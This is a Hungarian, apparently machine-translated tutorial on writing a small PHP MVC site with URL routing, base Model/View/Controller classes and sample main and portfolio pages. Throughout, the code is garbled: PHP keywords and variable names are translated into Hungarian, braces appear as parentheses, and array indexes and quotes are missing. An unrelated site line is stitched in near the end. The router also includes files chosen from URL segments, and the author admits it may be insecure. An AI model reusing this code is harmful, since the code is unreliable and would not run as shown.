    2.1. URL-útválasztó megvalósítása Egyelőre térjünk el az MVC-minta megvalósításától, és összpontosítsunk az útválasztásra. Az első lépés, amit meg kell tennünk, hogy a következő kódot írjuk a .htaccess fájlba:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Ez a kód az összes oldalfeldolgozást átirányítja az index.php-re, amire szükségünk van. Emlékszel, az első részben a Front Controllerről beszéltünk?!

    Az útválasztást egy külön route.php fájlba helyezzük az alapkönyvtárban. Ebben a fájlban leírjuk a Route osztályt, amely vezérlő metódusokat fog futtatni, amelyek viszont az oldalnézetet generálják.

    A route.php fájl tartalma

    class Route ( statikus függvény start () ( // vezérlő és alapértelmezett művelet $controller_name = "Main" ; $action_name = "index" ; $routes = explode("/" , $_SERVER ["REQUEST_URI" ]); // get a vezérlő neve if (!empty ($routes )) ( $vezérlő_neve = $routes ; ) // a műveletnév lekérése if (!empty ($routes )) ( $action_name = $routes ; ) // előtag hozzáadása $modell_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // összekapcsolja a fájlt a modell osztályával (lehet, hogy nincs modellfájl) $model_file = strtolower ($model_name ). ".php" ; $model_path = "alkalmazás/modellek/" .$model_file ; if (file_exists($model_path )) ( include "application/models/" .$model_file ; ) // csatolja a fájlt a vezérlő osztállyal $vezérlő_fájl = strtolower ($vezérlő_neve).php" ; $vezérlő_útvonala = "alkalmazás/vezérlők/" .$vezérlő_fájl ; if (fájl_létezik($vezérlő_útvonala )) ( tartalmazza "alkalmazás/vezérlők/" .$vezérlő_fájl ; ) else ( /* itt helyes lenne kivételt dobni, de a dolgok egyszerűsítése végett azonnal átirányítunk a 404-es oldalra */ Route::ErrorPage404(); ) // vezérlő létrehozása $controller = new $vezérlő_neve ; $akció = $művelet_neve ; if (method_exists($controller , $action )) ( // a vezérlő művelet meghívása $controller ->$action (); ) else ( // itt is bölcsebb lenne kivételt dobni Route::ErrorPage404(); ) ) function ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 Not Found" ); header("Állapot: 404 Nem található" ) ; header(" Hely:" .$host .404" ); ) )


    Megjegyzem, az osztály nagyon leegyszerűsített logikát valósít meg (a terjedelmes kód ellenére), és még biztonsági problémái is lehetnek. Ezt szándékosan tették, mert... egy teljes értékű routing osztály megírása megérdemel legalább egy külön cikket. Nézzük a főbb pontokat...

    A $_SERVER["REQUEST_URI"] globális tömbelem tartalmazza a teljes címet, amelyre a felhasználó kapcsolatba lépett.
    Például: example.ru/contacts/feedback

    A funkció használata felrobban A cím komponensekre van felosztva. Ennek eredményeként megkapjuk a vezérlő nevét, a megadott példában ez a vezérlő kapcsolatokatés a művelet neve, esetünkben - Visszacsatolás.

    Ezután a modellfájlt (lehet, hogy hiányzik a modell) és a vezérlőfájlt, ha van, összekapcsolják, végül létrehozzák a vezérlő példányát, és a műveletet ismét meghívják, ha a vezérlőosztályban leírták.

    Így, ha például a következő címre megy:
    example.com/portfolio
    vagy
    example.com/portfolio/index
    Az útválasztó a következő műveleteket hajtja végre:

  • tartalmazza a Model_Portfolio.php fájlt a Modell mappából, amely tartalmazza a Model_Portfolio osztályt;
  • tartalmazza a controller_portfolio.php fájlt a controllers mappából, amely tartalmazza a Controller_Portfolio osztályt;
  • létrehoz egy példányt a Controller_Portfolio osztályból, és meghívja az abban leírt alapértelmezett műveletet, az action_indexet.
  • Ha a felhasználó megpróbál hozzáférni egy nem létező vezérlő címéhez, például:
    example.com/ufo
    akkor át lesz irányítva a „404” oldalra:
    example.com/404
    Ugyanez fog történni, ha a felhasználó olyan művelethez fér hozzá, amely a vezérlőben nincs leírva.2.2. Térjünk vissza az MVC megvalósításához, menjünk a core mappába, és adjunk hozzá három további fájlt a route.php fájlhoz: model.php, view.php és controller.php


    Hadd emlékeztesselek arra, hogy alaposztályokat fognak tartalmazni, amelyeket most elkezdünk írni.

    A model.php fájl tartalma
    osztály modell ( nyilvános függvény get_data ( ) ( ) )
    A modellosztály egyetlen üres adatlekérési metódust tartalmaz, amely felül lesz írva a leszármazott osztályokban. Amikor leszármazott osztályokat hozunk létre, minden világosabb lesz.

    A view.php fájl tartalma
    class View ( //public $template_view; // itt adhatja meg az alapértelmezett általános nézetet. function generate ($content_view , $template_view , $data = null) ( /* if(is_array($data)) ( // convert array elemek változókba extract($data); ) */ include "application/views/" .$template_view ; ) )
    Nem nehéz kitalálni, hogy a módszer generál nézet kialakítására hivatott. A következő paraméterek kerülnek átadásra:

  • $content_file - oldal tartalmát megjelenítő nézetek;
  • $sablon_fájl — minden oldalra közös sablon;
  • A $data egy oldaltartalmi elemeket tartalmazó tömb. Általában a modellben kell kitölteni.
  • Az include funkció dinamikusan összekapcsol egy általános sablont (nézetet), amelybe a nézet be lesz ágyazva
    egy adott oldal tartalmának megjelenítéséhez.

    Esetünkben az általános sablon fejlécet, menüt, oldalsávot és láblécet tartalmaz majd, az oldal tartalma pedig külön formában. Ez ismét az egyszerűség kedvéért történik.

    A controller.php fájl tartalma
    osztályvezérlő ( public $modell ; public $view ; function __construct () ( $this ->view = new View(); ) ) )
    Módszer action_index- ez az alapértelmezésben meghívott művelet; ezt felülírjuk leszármazott osztályok implementálásakor.

    2.3. A Modell és Controller leszármazott osztályok megvalósítása, View's létrehozása Most kezdődik a móka! Névjegykártya weboldalunk a következő oldalakból áll majd:
  • itthon
  • Szolgáltatások
  • Portfólió
  • Kapcsolatok
  • És még - a „404” oldal
  • Minden oldalnak saját vezérlője van a vezérlők mappából és nézete a nézetek mappából. Egyes oldalak a Modellek mappából származó modellt vagy modelleket használhatnak.


    Az előző ábrán a template_view.php fájl külön kiemelve van - ez egy olyan sablon, amely minden oldalra közös jelölést tartalmaz. A legegyszerűbb esetben így nézhet ki:
    itthon
    Az oldal reprezentatív megjelenése érdekében létrehozunk egy CSS-sablont, és a HTML-jelölés szerkezetének megváltoztatásával, valamint a CSS- és JavaScript-fájlok összekapcsolásával integráljuk a webhelyünkbe:

    A cikk végén, az „Eredmény” részben található egy hivatkozás egy GitHub-tárhelyre, amely egy projektet tartalmaz, amelyben lépéseket tettek egy egyszerű sablon integrálására.

    2.3.1. A főoldal létrehozása Kezdjük a controller_main.php vezérlővel, itt van a kódja:
    osztály Controller_Main kiterjeszti a vezérlőt ( function action_index () ( $this ->view->generate("main_view.php" , "template_view.php" ); ) )
    A módszerben generál a Nézet osztály egy példánya, az általános sablon fájljainak nevei és az oldal tartalmát tartalmazó nézet átadásra kerül.
    Az indexműveleten kívül a vezérlő természetesen más műveleteket is tartalmazhat.

    Korábban áttekintettük az általános nézet fájlt. Tekintsük a main_view.php tartalomfájlt:
    Üdvözöljük! Az OLOLOSHA TEAM első osztályú szakértőkből álló csapat a webhelyfejlesztés területén, sok éves tapasztalattal mexikói maszkok, indiai és ceyloni bronz- és kőszobrok, domborművek és szobrok gyűjtésében, amelyeket az Egyenlítői-Afrika mesterei készítettek öt-hat évszázada. ezelőtt...
    Ez egyszerű jelölést tartalmaz PHP-hívások nélkül.
    A főoldal megjelenítéséhez a következő címek egyikét használhatja:

    • adatabsztrakciót megvalósító könyvtárak módszerei. Például a PEAR MDB2 könyvtár metódusai;
    • ORM módszerek;
    • módszerek a NoSQL-lel való munkavégzéshez;
    • satöbbi.
    • Az egyszerűség kedvéért itt nem fogunk SQL lekérdezéseket vagy ORM utasításokat használni. Ehelyett valódi adatokat emulálunk, és azonnal visszaadjuk az eredmények tömbjét.
      Helyezze a model_portfolio.php modellfájlt a Modell mappába. Íme a tartalma:
      class Model_Portfolio kiterjeszti a Modell ( nyilvános függvény get_data () ( return array (array ("Year" => "2012" , "Site" => "http://DunkelBeer.ru" , "Description" => "A webhely promóciós oldala sötét Dunkel sör a német Löwenbraü gyártótól, amelyet a "SUN InBev." sörgyártó cég Oroszországban gyártott, tömb ("Év" => "2012" , "Site" => "http://ZopoMobile.ru" , "Leírás " => "A Zopo kínai telefonjainak orosz nyelvű katalógusa Android operációs rendszeren és a hozzájuk való kiegészítőkkel."), // todo ) ) )

      A modellvezérlő osztályt a controller_portfolio.php fájl tartalmazza, itt van a kódja:
      osztály Controller_Portfolio kiterjeszti a Controller ( függvény __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->model->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
      Egy változóhoz adat a metódus által visszaadott tömb kiírásra kerül get_data amit korábban megnéztünk.
      Ezt a változót a rendszer metódusparaméterként adja át generál, amely tartalmazza még: az általános sablont tartalmazó fájl nevét és a nézetet tartalmazó fájl nevét az oldal tartalmával.

      Az oldal tartalmát tartalmazó nézet a portfolio_view.php fájlban található.
      Portfólió

      A következő táblázatban szereplő összes projekt fiktív, ezért ne is próbálja követni a megadott hivatkozásokat.

      2024 | Számítógépek mindenkinek – Beállítás, telepítés, helyreállítás


      ÉvProjektLeírás